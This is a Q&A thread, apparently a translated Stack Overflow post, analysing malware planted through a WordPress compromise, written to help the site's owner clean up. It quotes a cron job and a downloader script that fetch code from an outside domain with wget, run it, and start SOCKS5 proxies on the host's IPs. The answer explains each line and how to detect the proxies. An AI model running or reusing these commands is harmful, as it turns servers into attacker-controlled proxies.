【问题标题】:some malware that appeared on our site related to the recent wordpress attack我们网站上出现的一些与最近的 wordpress 攻击有关的恶意软件
【发布时间】:2015-01-05 05:01:49
【问题描述】:

显然,我做一些志愿者工作的网站是最近一次黑客攻击中针对的数千个网站之一,该黑客利用了 wordpress 中的一些漏洞。违规的结果是向网站添加了一个 cron 作业:

0    */48    *    *    *    cd /tmp;wget clintonandersonperformancehorses.com/test/test;bash test;cd /tmp;rm -rf test

它正在拉取的文件是这个(显然,不要尝试执行这个......)

killall -9 perl
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
sh getip >>bug.txt
/sbin/ifconfig  |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print $2}' |awk -F ' ' '{print $1}' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
bash mbind clean.txt
bash binded.txt
cd ..
rm -rf stest

我希望有人能告诉我它的作用?我清理了 cron 作业,并将遵循所有其他可用的建议来再次保护站点,但我担心可能会造成一些不那么明显的额外损害。我只是不知道那个文件到底在做什么。

【问题讨论】:

  • “该文件到底在做什么。”: 它会杀死所有 perl 进程,然后在所有机器的外部 IP 上启动 SOCKS5 服务器,特别是 Simple SOCKS5 Server for Perl地址。

标签: wordpress bash malware cracking


【解决方案1】:

我只是不知道那个文件到底在做什么。

快速总结

总之,它会杀死所有 perl 进程,然后在机器的所有外部 IP 地址上启动 SOCKS5 服务器。

深入

更详细的,让我们逐行看脚本:

killall -9 perl

这会杀死所有perl 进程。

cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest

以上下载文件stest.tar并将其解压到/tmp/stest目录,删除tar文件,并移至现在保存下载文件的目录。

sh getip >>bug.txt

getip 脚本是stest.tar 的一部分,它使用icanhazip.com 查找您的公共IP 地址并将其存储在文件bug.txt 中。

/sbin/ifconfig  |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print $2}' |awk -F ' ' '{print $1}' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt

以上使用ifconfig 来检查您的机器响应的任何其他非本地IP 地址并将它们添加到bug.txt。重复项被删除,您的公共 IP 地址的最终列表保存在文件 clean.txt 中。

bash mbind clean.txt

这是剧本的核心。 mbindstest.tar 的一部分,在 clean.txt 中的每个 IP 地址上运行脚本 inst。对于该 IP 地址,inst(也是stest.tar 的一部分)随机选择一个端口,并在该 IP 和该端口上启动“Simple SOCKS5 Server for Perl”的副本。

更具体地说,运行的 SOCKS 服务器是 Simple Socks Server for Perl 的 1.4 版,可以是 downloaded from sourceforge. 这里使用的版本与 sourceforge 的区别只有很小的方面:帮助消息被抑制,md5 选项被移除,IP 和端口被包含在脚本中,而不是在命令行中传递。我怀疑后一种更改的目的是使脚本的命令行在使用诸如ps 之类的实用程序查看时看起来相对无害。

bash binded.txt

脚本binded.txtinst 创建。它显然在 SOCKS5 服务器上运行检查。

cd ..
rm -rf stest

最后一部分只是进行清理。它会删除所有未解压缩的文件和脚本创建的临时文件。

如何确定其中一个 SOCKS 服务器是否仍在运行

脚本inst(.tar 文件的一部分)使用以下命令启动每个 SOCKS 服务器:

/usr/bin/perl httpd

要查看是否仍在运行,请查看ps wax 的输出,看看您是否看到该命令。如果你这样做了,请使用kill 命令来停止它。

【讨论】:

  • 感谢您的详细解释。假设脚本在我捕捉到它之前运行了一次,那么潜在的攻击者会在 SOCKS5 服务器运行时做什么?
  • @KBriggs SOCKS 可用作代理服务器并通过防火墙进行隧道传输。在我看来,这会使其具有潜在的危险性。对于完整的含义,您可以尝试通过security.stackexchange.com 询问它
  • 如果您对结果感兴趣,这里是安全帖子:security.stackexchange.com/questions/77518/…
  • @KBriggs 我在答案中添加了一个部分,以解决确定由该脚本创建的 SOCKS 服务器之一是否仍在运行的特定问题。
  • 感谢您的加入。现在我需要了解如何使用 cPanel 打开命令提示符...
猜你喜欢
  • 1970-01-01
  • 2018-10-14
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2015-11-02
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多